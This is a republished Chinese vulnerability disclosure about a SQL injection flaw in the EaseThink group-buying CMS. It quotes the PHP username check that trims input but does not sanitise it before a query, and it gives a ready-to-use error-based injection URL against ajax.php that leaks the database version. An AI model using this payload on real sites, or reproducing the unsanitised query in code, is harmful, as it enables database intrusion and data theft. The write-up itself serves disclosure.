易想(easethink)团购系统ajax文件导致SQL注入漏洞
发布时间:2020-12-15 20:58:39 所属栏目:百科 来源:网络整理
导读:发布时间:2013-04-18关键词: easethink 易想团购 ajax sql注入 易想团购管理系统是一套定位中高端市场的团购内容管理系统,能够以最低的成本,最少的人力投入在最短的时间架设一个功能齐全、性能优异、规模庞大并易于维护的网站平台。 在注册界面,输入用户
发布时间:2013-04-18关键词:
easethink
易想团购
ajax
sql注入
易想团购管理系统是一套定位中高端市场的团购内容管理系统,能够以最低的成本,最少的人力投入在最短的时间架设一个功能齐全、性能优异、规模庞大并易于维护的网站平台。
在注册界面,输入用户名后台会验证用户名是否存在,这里是通过ajax去验证,目前很多程序都会忽略这里的过滤而导致SQL注入。 systemlibsuser.php中: * 验证会员数据 */ function check_user($field_name,$field_data) { //开始数据验证 $user_data[$field_name] = $field_data; $res = array('status'=>1,'info'=>'','data'=>''); //用于返回的数据 if(trim($user_data['user_name'])==''&&$field_name=='user_name') { $field_item['field_name'] = 'user_name'; $field_item['error'] = EMPTY_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; } if($field_name=='user_name'&&$GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."user where user_name = '".trim($user_data['user_name'])."' and id <> ".intval($user_data['id']))>0) //这里的$user_data['user_name']的值是注册用户名提交值,这里只过滤了空格,过滤不严格导致SQL注入漏洞。 { $field_item['field_name'] = 'user_name'; $field_item['error'] = EXIST_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; } EXP: http://目标网址/easethink_free_v1.4/ajax.php?act=check_field&field_name=user_name&field_data='and/**/(select/**/1/**/from/**/(select/**/count(*),concat(version(),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)%23 (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |